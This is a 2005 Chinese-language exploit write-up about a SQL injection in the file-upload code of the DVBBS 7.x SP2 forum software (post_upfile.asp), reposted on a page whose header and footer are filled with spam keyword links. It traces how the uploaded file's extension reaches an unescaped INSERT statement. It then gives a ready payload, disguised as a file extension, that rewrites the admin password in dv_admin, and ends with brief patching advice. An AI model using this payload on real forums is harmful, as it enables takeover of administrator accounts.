国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關(guān)注微信公眾號

dvsp2上傳漏洞再現(xiàn)----擊潰動網(wǎng)sp2的神話
2005-12-17   

前段時間聽說動網(wǎng)的上傳再次出現(xiàn)了不可修復(fù)的錯誤,有人居然說是upload.inc有錯,我仔細(xì)的讀了N遍代碼,可以肯定的說,upload.inc應(yīng)該沒有辦法利用,今天無意中跑到動網(wǎng)的官方網(wǎng)站上去仔細(xì)的看了一下,個人資料修改里有上傳,但是發(fā)帖里卻沒有上傳,upload.asp和post_upload.asp同樣用到了upload.inc,證明這個文件絕對沒有問題,那問題一定出在post_upfile.asp上了,打開這個文件再次通讀一遍!
一看
If upload_ViewType<>999 and F_Type=1 then
Dvbbs.execute("insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_Viewname,F_FileType,F_Type,F_FileSize,F_Flag) values ("&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"','"&replace(rename,"|","")&"','"&F_Viewname&"','"&replace(FileExt,".","")&"',"&F_Type&","&Filesize&",4)")
Else
Dvbbs.execute("insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_FileType,F_Type,F_FileSize,F_Flag) values ("&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"','"&replace(rename,"|","")&"','"&replace(FileExt,".","")&"',"&F_Type&","&Filesize&",4)")
有sql語句,難道傳說中的上傳再次利用是注入而不是上傳,那我們就把他提交的變量每一個來通讀一下
Dvbbs.BoardID,Dvbbs.UserID,Dvbbs.membername,F(xiàn)_Viewname,F(xiàn)_Type,F(xiàn)ilesize這幾個是肯定沒有問題的,其它的幾個我們就來看一下,這幾個變量從哪來的,怎么得到的!
先說第一個replace(rename,"|","")把rename里的"|"這個符號去掉,我們看看rename的變量怎么來的,rename=createPath&Filename&"|"
是用createpath和filename連接起來再加上"|"生成的,"|"符號在后面被過濾了,可以不用考濾,再分別看看creatpath和filename
File_name = createName()
Filename = File_name&"."&FileExt(由file_name和fileExt聯(lián)合起來的)
Private Function createName()
Dim ranNum
Randomize
ranNum=int(999*rnd)
createName=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum
End Function
很明顯,file_name是按年月日加隨機數(shù)生成的,沒有辦法利用,疑點就在fileExt了。。。。。
難道,傳說中的就要出現(xiàn)了,先不慌,我們先看看其它的地方
而creatpath又是這樣來的
Private Function createPath()
Dim objFSO,Fsofolder,uploadpath
uploadpath=year(now)&"-"&month(now) '以年月創(chuàng)建上傳文件夾,格式:2003-8
On Error Resume Next
Set objFSO = Server.createObject("Scripting.FileSystemObject")
If objFSO.FolderExists(Server.MapPath(CheckFolder&uploadpath))=False Then
objFSO.createFolder Server.MapPath(CheckFolder&uploadpath)
End If
If Err.Number = 0 Then
createPath=uploadpath&"/"
Else
createPath=""
End If
Set objFSO = Nothing
End Function
creatpath又是用uploadpath加上fso按年月生成的,例如uploadfile/2004-11之類的,這樣,又不能利用
好,這里發(fā)現(xiàn)一個疑點了
我們再看另一個變量replace(FileExt,".",""),直接就是前面提到的有疑點的那個fileExt了,呵呵,看準(zhǔn)了,就是他了。我們把他的來龍去脈全找出來,看看能不能利用
Set File=upload.File(FormName) ''生成一個文件對象
FileExt=FixName(File.FileExt)
在這里,他開始出現(xiàn)了
file.fileExt這個不是我們提交的擴展名嗎,玩過動網(wǎng)上傳的都知道,抓個包,改個擴展名這是蠻正常的事,看來有門了,至少我們這個地方可以利用,====,F(xiàn)ileExt=FixName(File.FileExt)他還用fixname來過濾了的,我們看看這個函數(shù)有什么用
Function FixName(UpFileExt)
If IsEmpty(UpFileExt) Then Exit Function
FixName = Lcase(UpFileExt)
FixName = Replace(FixName,Chr(0),"")
FixName = Replace(FixName,".","") 哈哈,把.替換成空了,為什么動網(wǎng)sp2的上傳利用不了,就在這里的原因
FixName = Replace(FixName,"asp","")把asp替換成空
FixName = Replace(FixName,"asa","") asa過濾
FixName = Replace(FixName,"aspx","") aspx過濾
FixName = Replace(FixName,"cer","") cer過濾
FixName = Replace(FixName,"cdx","") cdx過濾
FixName = Replace(FixName,"htr","") htr過濾
End Function
哈哈,全部只是過濾了一些特殊的地方,但是我們?nèi)绻脕碜⑷胗玫降囊?,分號,逗號,--,一個都沒有過濾,也就是說是通行無阻了,嘎嘎,接下來就是用到構(gòu)造語句了,我們再來看他的sql語句
insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_Viewname,F_FileType,F_Type,F_FileSize,F_Flag) values ("&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"','"&replace(rename,"|","")&"','"&F_Viewname&"','"&replace(FileExt,".","")&"',"&F_Type&","&Filesize&",4)
在values后面
"&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"
這些全部是正常的,我們改了fleExt后,rename也跟著變化了,所以實際上后面的&replace(FileExt,".","")&這里我們就可以不管了,只要構(gòu)造前面的rename,再看看reanme是如何來的
rename=createPath&Filename&"|"
File_name = createName()
Filename = File_name&"."&FileExt
createpath是正常的一串值,可以不計,file_name也是正常的值可以不計,中間有一個.可以不計,后面的"|"他幫我們自己過濾了,可以不計.我們假設(shè)他的語句為
insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_Viewname,F_FileType,F_Type,F_FileSize,F_Flag) values ("1","1",'"user"','uploadfile/2004-11/2324128374912.jpg','user','jpg',"1","1000",4)
這是一條正常的語句,我們能利用的地方就是jpg,這個地方是我們包里可以傳送過去的,是本地的文件擴展名,那我們就把jpg構(gòu)造成具體的完整的sql語句。
比如jpg替換成
jpg','user','jpg',"1","1000",4);update dv_admin set userpasswrod='123' where username='admin'--jpg
(說一句,他的f_type是用來檢測文件類型的,如果是1,也就是圖片就執(zhí)行的前一條sql語句,如果是其它就執(zhí)行的后一條語句,具體的代碼在這里
F_Type = CheckFiletype(FileExt)
checkfiletype函數(shù)的代碼又是這樣的
Private Function CheckFiletype(FileExt)
Dim upFiletype
Dim FilePic,FileVedio,FileSoft,FileFlash,FileMusic
FileExt=Lcase(Replace(FileExt,".",""))
select Case Lcase(FileExt)
Case "gif", "jpg", "jpeg","png","bmp","tif","iff"
CheckFiletype=1
Case "swf", "swi"
CheckFiletype=2
Case "mid", "wav", "mp3","rmi","cda"
CheckFiletype=3
Case "avi", "mpg", "mpeg","ra","ram","wov","asf"
CheckFiletype=4
Case Else
CheckFiletype=0
End select
End Function
這里也用到了fileExt這個變量,也就是我們的擴展名
去掉所有的".",然后再去取后的擴展名,所以我們的語句最后結(jié)束時要用考濾到這個,因為第一語句和第二語句構(gòu)造方法不一樣的!)
嘎嘎,dv_admin里的admin的userpassword就被改為123了.
如果是access版的好像有點難度,分號是不能多語執(zhí)行的,又不是where條件,不能拿來猜測,而且values的值好像不能用select 來把其它的值填入,只有把整個select 的值拿來返回做為記錄加入,沒辦法在values里單獨取值,有沒有人能有辦法構(gòu)造出這個完美的語法來,教教偶,偶sql水平不是蠻高,access版的暫時還沒有想到完整的辦法。
文章至些結(jié)束了,最重要的要說的就是所有的放入到sql語句里的參數(shù)都要嚴(yán)格檢測,這個地方的補丁一個是在fixname()函數(shù)里過濾,如果不會的暫時就先關(guān)掉發(fā)帖上傳的功能吧,等補??!:)

熱詞搜索:

上一篇:SQL注入得到WEBSHELL
下一篇:腳本攻擊防范策略完全篇

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
精品亚洲免费视频| 欧美一区二区免费| 国产丶欧美丶日本不卡视频| 蜜桃视频在线一区| 日韩精品一区第一页| 亚洲成a人v欧美综合天堂下载| 中文字幕中文字幕一区| 国产精品毛片高清在线完整版| 国产欧美日韩在线视频| 亚洲国产激情av| 亚洲三级免费观看| 国产精品久久久久精k8| 亚洲成人免费av| 亚洲三级电影全部在线观看高清| 国产精品家庭影院| 亚洲精品一二三四区| 一区二区在线免费| 午夜精品久久久久久久久久 | 菠萝蜜视频在线观看一区| 国产999精品久久久久久| 成人丝袜高跟foot| 色婷婷亚洲综合| 欧美美女网站色| 精品成人免费观看| 国产精品日韩成人| 午夜精品福利久久久| 精品一区二区在线视频| 成人免费福利片| 欧美性感一区二区三区| 欧美不卡在线视频| 国产精品久久久久久福利一牛影视| 一区二区三区在线视频免费 | 午夜精品福利在线| 午夜国产精品一区| 国产成人av资源| 4438x亚洲最大成人网| 国产丝袜美腿一区二区三区| 亚洲一区二区三区免费视频| 国内精品伊人久久久久av影院 | 欧美日韩在线三区| 26uuu精品一区二区在线观看| 亚洲三级在线看| 国产一区二区免费看| 8v天堂国产在线一区二区| 国产日韩欧美综合一区| 午夜成人免费电影| 不卡的av中国片| 精品国产伦一区二区三区观看体验 | 中文字幕精品一区| 亚洲综合一二三区| 亚洲自拍另类综合| 国产精品正在播放| 色婷婷香蕉在线一区二区| av不卡一区二区三区| 91麻豆精品国产91久久久使用方法 | 欧美主播一区二区三区| 精品免费视频一区二区| 亚洲欧洲精品一区二区三区| 亚洲国产一区二区视频| 国产麻豆精品久久一二三| 日本精品裸体写真集在线观看| 欧美一区二区在线看| 欧美国产欧美综合| 午夜视频一区二区三区| 国产精品一区2区| 欧美日韩高清一区二区不卡| 国产婷婷色一区二区三区四区| 亚洲成a人v欧美综合天堂| 国产69精品久久99不卡| 欧美一区二区三级| 国产偷国产偷亚洲高清人白洁| 亚洲国产成人一区二区三区| 午夜视频一区二区| 一本色道久久综合狠狠躁的推荐 | 色综合久久天天综合网| 日韩欧美视频在线| 亚洲精品成人天堂一二三| 国产美女一区二区| 欧美大尺度电影在线| 一区二区三区成人在线视频| 不卡高清视频专区| 久久久一区二区三区| 美腿丝袜亚洲三区| 这里只有精品免费| 亚洲成在线观看| 国产一区二区在线视频| 久久众筹精品私拍模特| 激情六月婷婷久久| 精品少妇一区二区三区日产乱码 | 日韩一区二区三区视频| 亚洲综合在线视频| 在线精品视频免费播放| 一区二区三区四区在线播放| 激情六月婷婷久久| 精品剧情在线观看| 国产在线麻豆精品观看| 久久这里只有精品视频网| 美女被吸乳得到大胸91| 欧美一级午夜免费电影| 免费在线观看成人| 日韩欧美国产wwwww| 久久精品99国产精品| 精品剧情在线观看| 大白屁股一区二区视频| 精品日韩在线观看| 奇米一区二区三区| 日韩欧美亚洲国产精品字幕久久久| 日韩中文字幕91| 日韩精品在线网站| 国产成人综合在线播放| 欧美体内she精高潮| 色天天综合色天天久久| 成人午夜私人影院| 欧美色网站导航| 亚洲视频电影在线| 欧美精品粉嫩高潮一区二区| 蜜臀av性久久久久蜜臀aⅴ四虎| 日韩欧美一区在线观看| 国产乱色国产精品免费视频| 国产精品日产欧美久久久久| 日本黄色一区二区| 久久99热这里只有精品| 中文子幕无线码一区tr| 欧美日韩一区中文字幕| 亚洲精品第1页| 国产喂奶挤奶一区二区三区| 在线观看成人小视频| 久久成人免费电影| 国产精品区一区二区三区| 欧美怡红院视频| 国产一区二区三区av电影| 亚洲欧美成人一区二区三区| 日韩视频在线观看一区二区| 久久蜜桃av一区精品变态类天堂 | 亚洲精品在线电影| 亚洲综合在线视频| 精品国产乱码久久久久久1区2区| 成人av网站大全| 视频一区二区三区中文字幕| 精品免费日韩av| 欧美午夜精品久久久久久超碰| 国内精品嫩模私拍在线| 一区二区三区在线观看动漫| 久久综合九色综合97婷婷女人| 在线精品视频免费播放| 国产成人在线观看免费网站| 亚洲色欲色欲www| 日韩欧美一区二区久久婷婷| 色婷婷久久久亚洲一区二区三区| 五月天欧美精品| 日韩一区在线播放| 国产亚洲欧美中文| 日韩精品一区二区在线观看| 国产自产v一区二区三区c| 午夜成人在线视频| 自拍偷拍欧美精品| 欧美精品一区二区在线观看| 欧美精品xxxxbbbb| 欧美探花视频资源| 91精品福利在线| 色婷婷久久综合| 91视频国产资源| av中文字幕不卡| 岛国精品在线观看| 国产精品一级黄| 国产麻豆视频一区二区| 亚洲成人av中文| 婷婷成人综合网| 日韩在线一二三区| 日韩国产高清在线| 日韩电影在线看| 视频一区国产视频| 日本不卡在线视频| 热久久久久久久| 亚洲综合在线观看视频| 日韩精品三区四区| 蜜桃久久精品一区二区| 免费看日韩a级影片| 蜜桃视频一区二区三区在线观看| 五月天久久比比资源色| 日韩国产在线观看| 麻豆一区二区99久久久久| 亚洲成人高清在线| 看片的网站亚洲| 国产精品一区二区免费不卡| 国产成人8x视频一区二区| 国产福利一区二区| 白白色亚洲国产精品| 在线观看91精品国产入口| 在线91免费看| 欧美一二三区在线观看| 亚洲欧洲精品一区二区三区 | 中文字幕+乱码+中文字幕一区| 亚洲美女淫视频| 奇米在线7777在线精品| 韩国毛片一区二区三区| 99久久婷婷国产综合精品 | 欧美一区二区三区视频免费播放 | 51精品久久久久久久蜜臀| 精品久久99ma|